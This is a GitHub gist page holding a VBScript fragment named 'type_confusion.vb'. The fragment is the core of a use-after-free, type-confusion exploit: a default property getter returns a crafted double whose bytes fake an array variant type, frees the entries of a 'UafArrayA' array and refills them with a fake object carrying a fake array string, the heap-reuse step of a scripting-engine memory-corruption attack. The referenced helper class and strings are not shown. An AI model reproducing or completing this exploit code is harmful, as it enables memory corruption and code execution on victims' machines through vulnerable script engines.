Skip to content

Instantly share code, notes, and snippets.

@piotrflorczyk

piotrflorczyk/type_confusion.vb Secret

Created July 11, 2018 15:06
Show Gist options
  • Save piotrflorczyk/e2712010acb750c8440d70bb98bcbc31 to your computer and use it in GitHub Desktop.
Save piotrflorczyk/e2712010acb750c8440d70bb98bcbc31 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
type_confusion.vb
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") 'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
UafArrayA(idx)=0
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For idx=0 To 6
Set UafArrayA(idx)=objectImitatingArray
Next
End Property
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment